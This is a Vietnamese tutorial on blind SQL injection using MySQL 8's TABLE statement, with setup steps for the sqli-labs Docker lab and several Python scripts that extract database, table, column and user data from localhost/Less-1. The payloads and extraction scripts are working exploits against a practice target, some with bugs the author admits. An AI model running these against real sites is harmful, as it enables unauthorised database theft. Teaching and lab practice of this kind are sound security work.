TABLE table_name [ORDERBY column_name] [LIMIT number [OFFSET number]]
Chức năng: Trả về các hàng và cột của bảng được chỉ định
1 2 3 4 5 6 7 8 9 10
mysql>table users; +----+--------+---------+ | id | name | emotion | +----+--------+---------+ |1| rayin | love | |2| chuly | love | |3| zujchi | cutee | |4| spider | ugly | +----+--------+---------+ 4rowsinset (0.00 sec)
Trông thì tương tự như câu lệnh select. Kể cả kết hợp order.
1 2 3 4 5 6 7 8 9 10
mysql>select*from users; +----+--------+---------+ | id | name | emotion | +----+--------+---------+ |1| rayin | love | |2| chuly | love | |3| zujchi | cutee | |4| spider | ugly | +----+--------+---------+ 4rowsinset (0.00 sec)
Tuy nhiên điểm khác ở đây là câu lệnh table sẽ lấy ra toàn bộ bảng, vậy nên where clause sẽ không có tác dụng, nó sẽ đưa ra lỗi.
1 2
mysql>table users where id =2; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where id = 2'at line 1
mysql>select*from users where id=2unionvaluesrow(1,2,3); +----+-------+---------+ | id | name | emotion | +----+-------+---------+ |2| chuly | love | |1|2|3| +----+-------+---------+ 2rowsinset (0.00 sec)
//Có thứ hay ho rồi đấy :P
mysql>select*from users where id=1unionvaluesrow(1,database(),3); +----+-------+---------+ | id | name | emotion | +----+-------+---------+ |1| rayin | love | |1| mysql |3| +----+-------+---------+ 2rowsinset (0.00 sec)
mysql>select*from users where id=1unionvaluesrow(1,(select name from users where id=1),3); +----+-------+---------+ | id | name | emotion | +----+-------+---------+ |1| rayin | love | |1| rayin |3| +----+-------+---------+ 2rowsinset (0.00 sec)
Để dump ra tên SCHEMA_NAME bằng hàm table ta sẽ sử dụng Boolean-based SQL Injection. Để dễ hình dung chúng ta cùng đi vào ví dụ:
1 2 3 4 5 6 7 8 9 10 11
--Mình chỉ viết ra đầy đủ 1 câu truy vấn nếu như dính sqli sẽ như thế nào để các bạn dễ hình dung. Mình sẽ giải thích sau ^^ mysql>select*from users where id=1and ('def','m',3,4,5,6)<=(table information_schema.schemata limit 1); +----+-------+---------+ | id | name | emotion | +----+-------+---------+ |1| rayin | love | +----+-------+---------+ 1rowinset (0.00 sec)
Lưu ý là nếu chúng ta cần tìm cột sau thì phải biết giá trị cột trước mới so sánh được, các cột sau không quan trọng. Ở đây giá trị của cột đầu tiên sẽ là def, cột thứ 2 là tên database, các cột sau là không quan trọng đối với chúng ta. Chúng ta cùng đi vào phần boolean của payload:
Câu lệnh này ở đây phần sẽ tương đương với việc so sánh chuỗi thứ 2 thuộc (‘def’,’m’,3,4,5,6) với chuỗi thứ 2 từ information_schema.schemata. Và với chỉ 1 kí tự nó sẽ so sánh kí tự đó với kí tự đầu của chuỗi, ở đây là l và mysql sẽ tương đương với so sánh l với m. Và vì l<=m nên trả về true, m<=m nên cũng trả về true, và với n>m nên trả về false. Vậy với việc select với boolean mà ra giá trị có nghĩa là kí tự đó vẫn đang <= kí tự cần tìm. Rồi đến khi clause là false tương đương với kí tự đó lớn hơn kí tự cần tìm, thì ta sẽ xác định kí tự trước đó là kí tự chúng ta cần tìm.
Tương tự như thế và ta sẽ có được tên database đầu tiên.
Tiếp tục chúng ta sẽ thay đổi limit clause để lấy từng database ra.
Test trực tiếp bằng sql-labs
Xây dựng môi trường:
Đầu tiên các bạn cần cài đặt docker, khá là dễ thôi nên các bạn tự mình cài lấy nhé.
Cài đặt sqli-labs:
1 2 3
git clone https://github.com/c0ny1/vulstudy.git cd vulstudy/sqli-labs docker-compose up -d
Tiếp theo cài đặt Mysql 8:
1 2
docker pull mysql:lastest docker run --name mysql -p (Địa chỉ ip của bạn, không có dấu ngoặc nhé):3306:3306 -e MYSQL_ROOT_PASSWORD=root -d mysql:tag
Trong terminal gõ docker ps để lấy id của container. Tiếp theo thay đổi cấu hình của sqli-labs:
1 2 3 4 5 6 7 8 9 10
pwn@DESKTOP-AC6UABE:pts/3->/home/pwn (0) > docker exec -it e70d0c13145d /bin/bash -------------------- root@e70d0c13145d:/# ls app create_mysql_admin_user.sh home media proc run.sh start-apache2.sh tmp bin dev lib mnt root sbin start-mysqld.sh usr boot etc lib64 opt run srv sys var -------------------- cd app cd sql-connections
Tiếp theo sử dụng vim để thay đổi nội dung của file db-creds.inc. Hơi khó sử dụng, các bạn tự đọc nhé ^^.
1 2 3 4 5 6 7 8 9 10
vi db-creds.inc <?php
//give your mysql connection username n password $dbuser ='root'; $dbpass ='root';//đổi theo mật khẩu đặt trên câu lệnh mysql trên. $dbname ="security"; $host = '172.30.144.1';//đổi lại thành ip nhập ở câu lệnh mysql trên kia nhé $dbname1 = "challenges"; ?>
pwn@DESKTOP-AC6UABE:pts/3->/home/pwn (0) > docker exec -it e99f25e4be29 /bin/bash root@e99f25e4be29:/# mysql -u root -p Enter password: // Đoạn này nhập mk vào nhé, ở đây mình đặt root nên nhập root. Nếu các bạn làm theo mình thì cũng là root. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 8 Server version: 8.0.29 MySQL Community Server - GPL
Copyright (c) 2000, 2022, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
mysql> Cuối cùng gõ: mysql> ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY 'root'; Query OK, 0 rows affected (0.00 sec)
Thế là đã xong. Bây giờ gõ localhost trên trình duyệt là sẽ thấy trang web.
Dump database:
Vế phía sau and trả về true thì trên màn hình sẽ có Your Login name và Your Password, còn trả về false thì sẽ không xuất hiện gì cả. Từ đây chúng ta có thể sử dụng boolean sqli kết hợp câu lệnh table để dump ra database.
Chúng ta cần lưu ý về kí tự cuối cùng, ('def','mysql',3,4,5,6) sẽ không bằng với (table information_schema.schemata limit 0,1) nên kí tự cuối sẽ dừng ở chữ k, chuổi bây giờ sẽ là mysqk và với các kí tự nhiễu sau nó sẽ là không bằng và sẽ tiếp tục chạy. Ví dụ ở script dưới sẽ dừng khi i chạy hết 1 đến 20. Khi đó chúng ta có thể cho chạy vậy hoặc lọc cái đó ra vì nó không ảnh hưởng đến kết quả(các bạn test thì sẽ thấy ^^).
import requests import urllib url = 'http://localhost/Less-1/?id=' print("Nhập index kí tự cần tìm (VD: 1,2,3,...): ") index_db = str(int(input())-1) db_name = "" count = 0 for i inrange(1, 20): if count > 0: break for j in"`abcdefghijklmnopqrstuvwxyz-{|}~": payload = "1' and ('def','{}',3,4,5,6)<=(table information_schema.schemata limit {},1)-- -".format( db_name+j, index_db) print(db_name+j) # print(url+payload) payload_encoded = urllib.parse.quote(payload) r = requests.get(url=url+payload_encoded) if"Your Login name"in r.text: # print(r.text) # bước này mình check khi nó bị nhiễu ở kí tự cuối if j == '~': count += 1 continue else: # print(r.text) db_name += chr(ord(j)-1) break # Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1 list_dbname = list(db_name) list_dbname[-1] = chr(ord(list_dbname[-1])+1) db_name = "".join(list_dbname) print("Database name is: "+db_name)
Ở đây, ô đầu tiên là def, ô thứ 2 là database cần tìm table, ô thứ 3 là table. Các ô sau là không quan trọng. Tuy nhiên chúng ta cần phải limit table đúng với từng database. Không có một cách tìm cụ thể, nên việc test khoảng tìm là cần thiết.
import requests import urllib url = 'http://localhost/Less-1/?id=' table_name = "" all_table_name = [] count = 0 for index_table inrange(300): count = 0 for i inrange(1, 20): if count > 0: break for j in"`abcdefghijklmnopqrstuvwxyz-{|}~": payload = "1' and ('def','sys','{}',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit {},1)-- -".format( table_name+j, index_table) print(table_name+j) # print(url+payload) payload_encoded = urllib.parse.quote(payload) r = requests.get(url=url+payload_encoded) if"Your Login name"in r.text: # print(r.text) # bước này mình check khi nó bị nhiễu ở kí tự cuối if j == '~': count += 1 continue else: # print(r.text) table_name += chr(ord(j)-1) break # Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1 list_tablename = list(table_name) list_tablename[-1] = chr(ord(list_tablename[-1])+1) table_name = "".join(list_dbname) print("Table name is: "+table_name) if db_name == "__________________`": # dòng này là mình với payload của mình, payload nhiễu sẽ hiện ra cái này --> dấu hiệu nhận biết. break all_table_name.append(db_name) table_name = "" print("All table name:") print(all_table_name)
Hmm, ở trên k hay cho lắm cái này thuận lợi cho việc dò tìm hơn:
import requests import urllib url ='http://localhost/Less-1/?id=' # nhập các giá trị print("Nhập database cần tìm table_name: ", end='') db_name = str(input()) print("Nhập bắt đầu table_name cần tìm: ", end='') index_table_begin =int(input())-1 print("Nhập kết thúc của table_name cần tìm: ", end='') index_table_end =int(input())-1 table_name ='' # ------- all_table_name = [] count =0 for index_table inrange(index_table_begin, index_table_end): count =0 for i inrange(1, 20): if count >0: break for j in "`abcdefghijklmnopqrstuvwxyz-{|}~": payload = "1' and ('def','{}','{}',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit {},1)-- -".format( db_name, table_name+j, index_table) print(table_name+j) payload_encoded = urllib.parse.quote(payload) r = requests.get(url=url+payload_encoded) if "Your Login name" in r.text: # bước này mình check khi nó bị nhiễu ở kí tự cuối if j =='~': count +=1 continue else: # print(r.text) table_name += chr(ord(j)-1) break # Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1 list_tbname = list(table_name) list_tbname[-1] = chr(ord(list_tbname[-1])+1) table_name = "".join(list_tbname) print("Table name is: "+table_name) all_table_name.append(table_name) table_name = "" print("All table name:") print(all_table_name)
Với payload của mình nếu không đúng index so với database thì nó sẽ có table_name là “__________________`” hoặc là string trống. Để tìm đúng thì chúng ta sẽ dò đến khi có tên hợp lý.
import requests import urllib url = 'http://localhost/Less-1/?id=' # nhập các giá trị print("Nhập database cần tìm table_name: ", end='') db_name = str(input()) print("Nhập bắt đầu table_name cần tìm: ", end='') index_table_begin = int(input())-1 print("Nhập kết thúc của table_name cần tìm: ", end='') index_table_end = int(input())-1 table_name = '' # ------- all_table_name = [] count = 0 for index_table inrange(index_table_begin, index_table_end): count = 0 for i inrange(1, 20): if count > 0: break for j in"`abcdefghijklmnopqrstuvwxyz-{|}~": payload = "1' and ('def','{}','{}',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit {},1)-- -".format( db_name, table_name+j, index_table) print(table_name+j) payload_encoded = urllib.parse.quote(payload) r = requests.get(url=url+payload_encoded) if"Your Login name"in r.text: # bước này mình check khi nó bị nhiễu ở kí tự cuối if j == '~': count += 1 continue else: # print(r.text) table_name += chr(ord(j)-1) break # break với trường hợp table_name = '' (test là thấy, tùy cách mình lập trình ^^) if table_name == "": continue # Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1 list_tbname = list(table_name) print(list_tbname) list_tbname[-1] = chr(ord(list_tbname[-1])+1) table_name = "".join(list_tbname) # print("Table name is: "+table_name) print thẳng all table name dễ xử lí vấn đề hơn nhỉ ^^. all_table_name.append(table_name) table_name = "" print("All table name:") print(all_table_name) ''' //Ở trong bài này, chúng ta cần tìm table_name trong database security All table name: ['emails', 'referers', 'uagents', 'users', '__________________`', '__________________`', '__________________`', '__________________`'] '''
Dump column_name:
Bảng này có 22 cột. Tương tự như information_schema.tables bảng này cần thêm 2 giá trị xác định là database và table, và dò khoảng đúng với database và table của column. Việc dò này các bạn lưu ý tự dò nhé, bởi vì với mỗi phiên bản sẽ có thêm những table và column nên nó chỉ gần sát với khoảng của mình thôi.
import requests import urllib url = 'http://localhost/Less-1/?id=' # nhập các giá trị print("Nhập database cần tìm column_name: ", end='') db_name = str(input()) print("Nhập table cần tìm column_name: ", end='') tb_name = str(input()) print("Nhập bắt đầu column_name cần tìm: ", end='') index_column_begin = int(input())-1 print("Nhập kết thúc của column_name cần tìm: ", end='') index_column_end = int(input())-1 column_name = '' # ------- all_column_name = [] count = 0 for index_column inrange(index_column_begin, index_column_end): count = 0 for i inrange(1, 20): if count > 0: break for j in"`abcdefghijklmnopqrstuvwxyz-{|}~": payload = "1' and ('def','{}','{}','{}',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit {},1)-- -".format( db_name, tb_name, column_name+j, index_column) print(column_name+j) payload_encoded = urllib.parse.quote(payload) r = requests.get(url=url+payload_encoded) if"Your Login name"in r.text: # bước này mình check khi nó bị nhiễu ở kí tự cuối if j == '~': count += 1 continue else: # print(r.text) column_name += chr(ord(j)-1) break # break với trường hợp column_name = '' (test là thấy, tùy cách mình lập trình ^^) if column_name == "": continue # Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1 list_clname = list(column_name) print(list_clname) list_clname[-1] = chr(ord(list_clname[-1])+1) column_name = "".join(list_clname) all_column_name.append(column_name) column_name = "" print("All table name:") print(all_column_name) ''' Nhập database cần tìm column_name: security Nhập table cần tìm column_name: users Nhập bắt đầu column_name cần tìm: 3490 Nhập kết thúc của column_name cần tìm: 3505 All table name: ['id', 'username', 'password', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`'] '''
Dump bảng đã được xác định:
Mình không hiểu tại sao bây giờ giả sử giá trị cần tìm là dump, thì mình xét với dump thì nó vẫn trả về true. Nhưng mà cũng không quan trọng lắm, làm theo cái mình test thôi à ^^.
huhu kĩ năng lập trình kém nên không biết viết như nào cho chuẩn nhất (lười quá), script của mình ở dưới bị dính thằng ‘0’ cách mình bypass chưa tối ưu, nếu giá trị có số 0 thì mình sai nhưng mà lười viết quá. Dump id:
import requests import urllib url = 'http://localhost/Less-1/?id=' # nhập các giá trị print("Nhập database của table: ", end='') db_name = str(input()) print("Nhập table: ", end='') tb_name = str(input()) print("Nhập id: ", end="") id = str(input()) print("Nhập index của id: ", end="") index = str(input()) # vì chúng ta biết được index của id từ script đầu tiên rồi value = '' # ------- for i inrange(1, 20): for j in"0123456789abcdefghijklmnopqrstuvwxyz-{|}~": payload = "1' and ('{}','{}','')<=(table {}.{} limit {},1)-- -".format( id, value + j, db_name, tb_name, index) print(value + j) payload_encoded = urllib.parse.quote(payload) r = requests.get(url=url+payload_encoded) # print(r.text) if"Your Login name"in r.text: continue else: # print(r.text) if j == '0': break value += chr(ord(j)-1) break print("Giá trị cần tìm là: ", end="") print(value)
Dump username ```python import requests import urllib url = 'http://localhost/Less-1/?id=' # nhập các giá trị print("Nhập database của table: ", end='') db_name = str(input()) print("Nhập table: ", end='') tb_name = str(input()) print("Nhập id: ", end="") id = str(input()) print("Nhập username: ", end="") username = str(input()) print("Nhập index của id: ", end="") index = str(input()) # vì chúng ta biết được index của id từ script đầu tiên rồi value = '' # ------- for i inrange(1, 20): for j in"0123456789abcdefghijklmnopqrstuvwxyz-{|}~": payload = "1' and ('{}','{}','{}')<=(table {}.{} limit {},1)-- -".format( id,username, value + j, db_name, tb_name, index) print(value + j) payload_encoded = urllib.parse.quote(payload) r = requests.get(url=url+payload_encoded) # print(r.text) if"Your Login name"in r.text: continue else: # print(r.text) if j == '0': break value += chr(ord(j)-1) break print("Giá trị cần tìm là: ", end="") print(value)
HANDLER Statement
Systax:
1 2 3 4 5 6 7 8 9 10
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { =|<=|>=|<|> } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST| NEXT | PREV |LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST| NEXT } [ WHERE where_condition ] [LIMIT ... ]
Để về lại từ đầu chúng ta sẽ bắt đầu lại từ first mysql> HANDLER users read first -> ; +----+----------+----------+ | id | username | password | +----+----------+----------+ |1| Dumb | Dumb | +----+----------+----------+